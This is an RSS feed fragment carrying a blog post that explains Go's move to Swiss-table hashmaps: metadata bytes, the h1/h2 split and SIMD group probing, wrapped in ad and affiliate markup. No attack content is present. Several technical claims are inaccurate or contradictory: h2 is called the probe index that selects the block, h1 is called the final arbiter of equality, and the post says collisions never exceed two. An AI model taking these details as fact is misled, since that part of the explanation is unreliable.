src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Every worth-learning language has its own hashmap implementation, you know, the way it works under the hood, and most devs just don&amp;rsquo;t give a damn about it, which is fine, I support high level abstractions.&lt;/p&gt;&#xA;&lt;p&gt;The thing here is that, recently, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/golang-maps-or-dictionaries/&#34;&gt;Go changed its default hashmap implementation from Buckets to Swiss tables&lt;/a&gt;&#xA; looking for better performance, &lt;del&gt;trying to mimick Rust&amp;rsquo;s performance&lt;/del&gt;. This change already &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.datadoghq.com/blog/engineering/go-swiss-tables/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;paid off for some companies saving them hundreds of gigabytes&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;By the way, it was Google who created Swiss tables (well one of its engineers), and also &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/fast-and-performant-apis-using-go-lang-grpc-and-protobuffers/&#34;&gt;protobuffers and GRPC&lt;/a&gt;&#xA;, they&amp;rsquo;re always improving the performance of what already exists.&lt;/p&gt;&#xA;&lt;h2 id=&#34;so-whats-the-big-idea-behind-swiss-tables-its-all-about-metadata&#34;&gt;So, What&amp;rsquo;s the Big Idea behind Swiss Tables? It&amp;rsquo;s All About Metadata.&lt;/h2&gt;&#xA;&lt;p&gt;Traditional open-addressing hash maps store your key-value pairs in a big array. When you insert an element, you hash the key to find a &amp;ldquo;home&amp;rdquo; slot. If that seat is already taken, you probe for the next available spot and so on.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Slot 1&lt;/th&gt;&#xA;          &lt;th&gt;Slot 2&lt;/th&gt;&#xA;          &lt;th&gt;Slot 3&lt;/th&gt;&#xA;          &lt;th&gt;Slot 4&lt;/th&gt;&#xA;          &lt;th&gt;Slot 5&lt;/th&gt;&#xA;          &lt;th&gt;Slot 6&lt;/th&gt;&#xA;          &lt;th&gt;slot 7&lt;/th&gt;&#xA;          &lt;th&gt;slot 8&lt;/th&gt;&#xA;          &lt;th&gt;slot 9&lt;/th&gt;&#xA;          &lt;th&gt;slot n&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;→&lt;/td&gt;&#xA;          &lt;td&gt;→&lt;/td&gt;&#xA;          &lt;td&gt;→&lt;/td&gt;&#xA;          &lt;td&gt;→&lt;/td&gt;&#xA;          &lt;td&gt;↓&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;Free&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;So&amp;hellip; what&amp;rsquo;s wrong with this? Well, nothing really, just that in certain scenarios it can become messy. To find an element, or to confirm it&amp;rsquo;s &lt;em&gt;not&lt;/em&gt; there, you might have to traverse half the array. That&amp;rsquo;s slow.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Slot 1&lt;/th&gt;&#xA;          &lt;th&gt;Slot 2&lt;/th&gt;&#xA;          &lt;th&gt;Slot 3&lt;/th&gt;&#xA;          &lt;th&gt;Slot 4&lt;/th&gt;&#xA;          &lt;th&gt;Slot 5&lt;/th&gt;&#xA;          &lt;th&gt;Slot 6&lt;/th&gt;&#xA;          &lt;th&gt;slot 7&lt;/th&gt;&#xA;          &lt;th&gt;slot 8&lt;/th&gt;&#xA;          &lt;th&gt;slot 9&lt;/th&gt;&#xA;          &lt;th&gt;slot n&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;Free&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;Swiss Tables attack this cumbersome problem with a brilliant idea: a separate metadata array. For every slot in the main data array, there&amp;rsquo;s a corresponding byte in the metadata array.&lt;/p&gt;&#xA;&lt;p&gt;This byte isn&amp;rsquo;t just a tombstone or an empty flag; it&amp;rsquo;s a packed suite of useful information. The most crucial part is the &lt;strong&gt;7 bits from the hash of the key&lt;/strong&gt; stored in that slot.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Meaning Control bit&lt;/th&gt;&#xA;          &lt;th&gt;Control bit&lt;/th&gt;&#xA;          &lt;th&gt;Bit 1&lt;/th&gt;&#xA;          &lt;th&gt;Bit 2&lt;/th&gt;&#xA;          &lt;th&gt;Bit 3&lt;/th&gt;&#xA;          &lt;th&gt;Bit 4&lt;/th&gt;&#xA;          &lt;th&gt;Bit 5&lt;/th&gt;&#xA;          &lt;th&gt;Bit 6&lt;/th&gt;&#xA;          &lt;th&gt;Bit 7&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Empty&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Full&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;          &lt;td&gt;0x3A&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Deleted&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;0&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;This is a game changer. Why? Because to check if a slot might contain our key, you don&amp;rsquo;t need to touch the main data array at all. You can first check the metadata. This is a huge win for performance.&lt;/p&gt;&#xA;&lt;div id=&#34;app-swiss-table&#34;&gt;&lt;/div&gt;&#xA;&lt;script type=&#34;module&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/raw/upload/v1760636200/coffee-bytes/index-CBAUHLL7_qlfk88.js&#34;&gt;&lt;/script&gt;&#xA;&#xA;&lt;h2 id=&#34;a-step-by-step-walk-through-the-swiss-table-data-structure&#34;&gt;A Step-by-Step Walk Through the Swiss table data structure&lt;/h2&gt;&#xA;&lt;p&gt;Alright, so we&amp;rsquo;ve talked about the metadata esoteric magic. But how does it actually works, step-by-step, when you insert &lt;em&gt;my_app[&amp;ldquo;value&amp;rdquo;]&lt;/em&gt; = value and when you ask for &lt;em&gt;my_map[&amp;ldquo;apple&amp;rdquo;]&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;inserting-a-key-and-its-value-in-a-swiss-table&#34;&gt;Inserting a key and its value in a Swiss table&lt;/h3&gt;&#xA;&lt;p&gt;When you look up a key the overall goes this way:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The key is hashed.&lt;/li&gt;&#xA;&lt;li&gt;The group or bucket is decided using h1.&lt;/li&gt;&#xA;&lt;li&gt;The target slot or block is located using h2.&lt;/li&gt;&#xA;&lt;li&gt;If the slot contains our key already you just update it&lt;/li&gt;&#xA;&lt;li&gt;If no slot contains our key, you look for an empty slot.&lt;/li&gt;&#xA;&lt;li&gt;If all slots are taken you jump to the next group&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h4 id=&#34;hash-the-key&#34;&gt;Hash the key&lt;/h4&gt;&#xA;&lt;p&gt;First, the key &amp;ldquo;apple&amp;rdquo; is run through a robust hash function. This produces a full 64-bit hash value. Let&amp;rsquo;s say it&amp;rsquo;s something like 0x5A3F9C42B1D08E3A (a beautiful, random-looking number). Now, Swiss Tables perform a neat trick: they split this hash into two parts:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;57 bits (Called h1)&lt;/li&gt;&#xA;&lt;li&gt;7 bits (Called h2)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;H1&lt;/th&gt;&#xA;          &lt;th&gt;&amp;hellip;&lt;/th&gt;&#xA;          &lt;th&gt;H1&lt;/th&gt;&#xA;          &lt;th&gt;H2&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;10101110&lt;/td&gt;&#xA;          &lt;td&gt;&amp;hellip;&lt;/td&gt;&#xA;          &lt;td&gt;11100010&lt;/td&gt;&#xA;          &lt;td&gt;0x3A&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h4 id=&#34;decide-the-initial-group-using-h1&#34;&gt;Decide the initial group using h1&lt;/h4&gt;&#xA;&lt;p&gt;The first 57 bits (0x5A3F9C42B1D08E&amp;hellip;): This part of the hash determines which initial group or &amp;ldquo;bucket&amp;rdquo; the key belongs to.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0x5A3F9C42B1D08E % &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;locate-target-block&#34;&gt;Locate target block&lt;/h4&gt;&#xA;&lt;p&gt;The last 7 low bits (0x3A): This is the &amp;ldquo;probe index.&amp;rdquo; It tells the map which of the 8 or 16-slots (or &amp;ldquo;blocks&amp;rdquo;) to start looking in.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;retrieving-the-value-of-a-key&#34;&gt;Retrieving the value of a key&lt;/h3&gt;&#xA;&lt;p&gt;When you look up a key the overall goes this way:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The key is hashed.&lt;/li&gt;&#xA;&lt;li&gt;The group or bucket is decided using h1.&lt;/li&gt;&#xA;&lt;li&gt;The target slot or block is located using h2.&lt;/li&gt;&#xA;&lt;li&gt;The CPU takes the 7-bit (h2) hash snippet from our key and loads it into a special register.&lt;/li&gt;&#xA;&lt;li&gt;It then compares this &lt;em&gt;single&lt;/em&gt; value against &lt;em&gt;all 8 or 16&lt;/em&gt; metadata bytes in the target block—&lt;strong&gt;simultaneously&lt;/strong&gt;. This is done using SIMD (Single Instruction, Multiple Data) instructions, basically parallelism.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Now let me explain you the steps.&lt;/p&gt;&#xA;&lt;h4 id=&#34;finding-the-block-using-the-7-bit-hash&#34;&gt;Finding the block using the 7-bit hash&lt;/h4&gt;&#xA;&lt;p&gt;The map takes the 7-bit (h2) probe index (0x3A) and uses it to locate the specific 8-slot or 16-slot block where &amp;ldquo;apple&amp;rdquo; should be. This calculation is incredibly fast.&lt;/p&gt;&#xA;&lt;h4 id=&#34;use-simd-to-compare-the-slots&#34;&gt;Use SIMD to compare the slots&lt;/h4&gt;&#xA;&lt;p&gt;This is the SIMD (Single Instruction, Multiple Data) step we love. The CPU loads the 16 metadata bytes from that block. For each byte, it checks two things:&lt;/p&gt;&#xA;&lt;p&gt;Is the slot occupied? (A special bit in the metadata byte indicates this).&lt;/p&gt;&#xA;&lt;p&gt;Does the 7-bit (h2) fingerprint in the metadata match our fingerprint (0x3A)?&lt;/p&gt;&#xA;&lt;p&gt;It does this for all 16 slots AT ONCE. And this is where the magic happens, I&amp;rsquo;ll elaborate in a moment. The result is a bitmask of potential candidates.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h4 id=&#34;handle-collisions-if-they-exist&#34;&gt;Handle collisions if they exist&lt;/h4&gt;&#xA;&lt;p&gt;&lt;strong&gt;A matching 7-bit fingerprint doesn&amp;rsquo;t mean the keys are equal&lt;/strong&gt;; it just means they might be equal. It&amp;rsquo;s a pre-filter. It&amp;rsquo;s designed to be fast, not perfect. The full 57-bit hash (h1) (and eventually the actual key comparison) is the final arbiter.&lt;/p&gt;&#xA;&lt;p&gt;If there are any matches (say, slots 2 and 9 had the same 7-bit (h2) fingerprint and are occupied, a collision occurred), the map finally goes to the main data array. But it&amp;rsquo;s not guessing anymore. It goes directly to slots 2 and 9 and performs a full key comparison: stored_key == &amp;ldquo;apple&amp;rdquo;? This is the only expensive operation, and you&amp;rsquo;ve minimized it to just one or two checks, lukcily you won&amp;rsquo;t have more than two collisions.&lt;/p&gt;&#xA;&lt;h4 id=&#34;retrieve-the-keys-value&#34;&gt;Retrieve the key&amp;rsquo;s value&lt;/h4&gt;&#xA;&lt;p&gt;Finally, if a full key matches, it returns the value. If not, or if the SIMD step found no candidates, &lt;strong&gt;it can confidently say the key isn&amp;rsquo;t in the map&lt;/strong&gt;. This last part—the negative lookup—is where Swiss Tables absolutely dominate traditional maps that have to trudge through long probe sequences.&lt;/p&gt;&#xA;&lt;h2 id=&#34;why-are-swiss-tables-so-fast-simd-and-the-16-slot-block&#34;&gt;Why are Swiss tables so fast? SIMD and the 16-Slot Block&lt;/h2&gt;&#xA;&lt;p&gt;Here&amp;rsquo;s where the real genius kicks in. Modern CPUs don&amp;rsquo;t need to check things one byte at a time. They are surprisingly good doing operations in parallel. Swiss Tables are designed to exploit this by grouping slots into blocks (typically of 16).&lt;/p&gt;&#xA;&lt;p&gt;In just one &lt;del&gt;blazingly fast&lt;/del&gt; operation, the CPU creates a bitmask. A &lt;em&gt;1&lt;/em&gt; means “the hash snippet matches,” a &lt;em&gt;0&lt;/em&gt; means it doesn&amp;rsquo;t. Only &lt;em&gt;then&lt;/em&gt;, for the slots that might be a match, does the code actually dereference the pointer to the main data array to do a full key comparison.&lt;/p&gt;&#xA;&lt;p&gt;This is the killer feature of Swiss Tables. They minimize expensive memory accesses and leverages the CPU&amp;rsquo;s parallel processing capabilities.&lt;/p&gt;&#xA;&lt;p&gt;It makes lookups, especially for missing keys, super fast. You&amp;rsquo;re not traversing a chain or a long probe sequence. Which, as you may know, impacts &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/the-big-o-notation-for-algorithm-analysis/&#34;&gt;Big O performance&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;why-should-you-care-the-swiss-tables-advantages&#34;&gt;Why Should You Care? The Swiss tables Advantages&lt;/h2&gt;&#xA;&lt;p&gt;This architecture isn&amp;rsquo;t just a neat bloring and hypothetical academic exercise. It translates into real tangible benefits that nerdy devs will see reflected in their applications, &lt;del&gt;transforming a 0.0004s into a 0.00002s execution&lt;/del&gt;. According to Go&amp;rsquo;s official page, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://go.dev/blog/swisstable&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;performance went up by about 63% compared&lt;/a&gt;&#xA; to Buckets implementation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;1. Blazing Fast Lookups:&lt;/strong&gt; The combination of the metadata filter and SIMD makes &lt;em&gt;find()&lt;/em&gt; and &lt;em&gt;contains()&lt;/em&gt; operations significantly faster than in most traditional maps. It&amp;rsquo;s not a small margin; we&amp;rsquo;re talking multiples in many benchmarks.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;2. Super Efficient Memory Use:&lt;/strong&gt; Swiss Tables are typically implemented as &amp;ldquo;flat&amp;rdquo; structures. This means they store keys and values directly in the array, not as separate allocated nodes. This greatly improves cache locality—the data you need is probably already in the CPU&amp;rsquo;s fast cache(You should know the drill: L1, L2, L3 caches)—and it avoids the memory overhead of pointers used in chained implementations. This makes them superior to other hashmaps implementations in terms of memory usage.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;3. Smarter Resizing:&lt;/strong&gt; The metadata array makes the internal control logic much smarter. The map can make better decisions about when to rehash and how to distribute elements, keeping performance more consistent as the load factor increases.&lt;/p&gt;&#xA;&lt;h2 id=&#34;ok-but-what-about-swiss-tables-disadvantages&#34;&gt;Ok but, what about Swiss tables disadvantages&lt;/h2&gt;&#xA;&lt;p&gt;However, it&amp;rsquo;s not all sunshine and rainbows, of course, everyhing in tech is trade-off. The separate metadata array does consume extra memory (about 1/16th to 1/8th of the main array), which is usually a great trade-off because memory is one of the cheapest resources.&lt;/p&gt;&#xA;&lt;p&gt;Also the implementation is complex—thankfully, it can be daunting for those working on it. But my bet is that you&amp;rsquo;re not so it doesn&amp;rsquo;t involve you, you&amp;rsquo;re going to use it the same way you have always used it, just with better performance.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;h2 id=&#34;the-hash-map-got-a-swiss-army-knife-upgrade&#34;&gt;The Hash Map Got a Swiss Army Knife Upgrade&lt;/h2&gt;&#xA;&lt;p&gt;You&amp;rsquo;ve probably used hashmaps in the past, you normally use them but ignore everything about the internals, you limit your knowledge of hashmaps to getting and setting keys, you iterate over them probably, but that&amp;rsquo;s all.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hashmap.get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;key&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hashmap.set(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;key&amp;#34;&lt;/span&gt;, value)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// or&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;hashmap[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;key&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; value&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Every worth-learning language has its own hashmap implementation, you know, the way it works under the hood, and most devs just don&amp;rsquo;t give a damn about it, which is fine, I support high level abstractions.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>I Built a Bloom Filter Data Structure Simulator</title>
      <link>https://coffeebytes.dev/en/databases/i-built-a-bloom-filter-data-structure-simulator/</link>
      <pubDate>Fri, 05 Sep 2025 09:47:15 -0600</pubDate>
      <guid>https://coffeebytes.dev/en/databases/i-built-a-bloom-filter-data-structure-simulator/</guid>
      
      <category>databases</category>
      
      <category>software architecture</category>
      
      
      
      
      
